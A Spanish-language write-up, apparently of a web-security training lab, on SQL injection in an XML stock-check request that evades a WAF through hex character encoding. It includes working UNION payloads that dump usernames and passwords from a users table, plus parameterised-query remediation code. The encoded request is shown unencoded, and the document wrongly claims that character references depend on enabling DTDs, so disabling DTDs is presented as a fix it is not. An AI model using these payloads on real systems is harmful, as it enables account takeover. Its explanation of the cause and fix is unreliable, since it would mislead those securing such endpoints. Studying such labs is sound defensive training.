SQLi con WAF bypass vía XML encoding (hex entities): extracción de credenciales en stock check
UNION-based SQLi detrás de un WAF: el filtro de stock parsea XML y un WAF bloquea palabras clave, pero la codificación en hexadecimal entities evita la detección.
1. Target Overview & Vulnerability Summary
La función Check stock envía un POST /product/stock cuyo cuerpo es XML serializado; el backend lo parsea y ejecuta una query SQL que refleja el resultado en la respuesta. Un WAF intermedio bloquea payloads SQL clásicos respondiendo "Attack detected", pero no inspecciona el contenido tras la expansión de entidades XML. La evasión se logra codificando el payload en hexadecimal entities (técnica de la familia HackVertor).
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| High | POST /product/stock (cuerpo XML: productId / storeId) |
Parsing de XML con DTD/entidades habilitadas + interpolación del valor parseado en una query SQL; el WAF no ve el payload post-expansión |
2. Technical Breakdown & Exploitation Flow
2.1 Superficie del endpoint
El formulario público expone el contrato del request:
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required type="hidden" name="productId" value="1">
<select name="storeId">
<option value="1" >London</option>
<option value="2" >Paris</option>
<option value="3" >Milan</option>
</select>
<button type="submit" class="button">Check stock</button>
</form>
El backend traduce el request a XML (el Content-Type del POST es XML serialización):
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
productId y storeId alimentan la query de stock.
2.2 Bloqueo del WAF
Un payload UNION directo en storeId es interceptado:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 UNION SELECT NULL</storeId></stockCheck>
Respuesta del WAF: "Attack detected". El WAF hace match de la firma UNION SELECT en el cuerpo HTTP antes del parseo.
2.3 Evasión por hexadecimal entities
El parser XML expande las entidades hexadecimales después de que el WAF inspeccione el cuerpo crudo. Cada carácter del payload se codifica como &#xHH;, por lo que la firma literal UNION SELECT nunca aparece en el request transmitido:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 UNION SELECT username || '~' || password FROM users</storeId></stockCheck>
La expansión equivale a:
1 UNION SELECT username || '~' || password FROM users
Tras la expansión, el backend ejecuta la query y refleja en la respuesta las filas username~password de la tabla users, incluyendo la de administrator.
2.4 Resultado
Con las credenciales de administrator (rol admin) se resuelve el lab iniciando sesión en la cuenta.
3. Root Cause Analysis
El fallo es de doble capa:
- Parser XML inseguro: la DTD interna y la resolución de entidades están habilitadas, permitiendo a un atacante definir
&#xHH;y otras entidades que el parser expande en el valor destoreIdantes de pasarlo a la capa de datos. - Interpolación sin parámetros: el valor ya expandido se concatena en la query de stock.
El WAF refuerza la falsa sensación de seguridad: al aplicar signature matching sobre el cuerpo crudo, ignora el hecho de que el parser normaliza el XML antes de que el payload alcance la query. La evasión no rompe el WAF — explota el desajuste de representación entre la capa de inspección y la capa de parseo (parser differential).
4. Secure Remediation
Mitigación principal en la capa de datos — parametrización:
String sql = "SELECT quantity FROM stock WHERE product_id = ? AND store_id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, productId);
stmt.setInt(2, storeId);
Mitigación en la capa XML — deshabilitar DTD y entidades externas en el parser (aquí el parser también deshabilitaría la vector de XXE):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Y tipar productId/storeId como enteros en la capa de aplicación antes de la query, eliminando cualquier contenido que no sea numérico.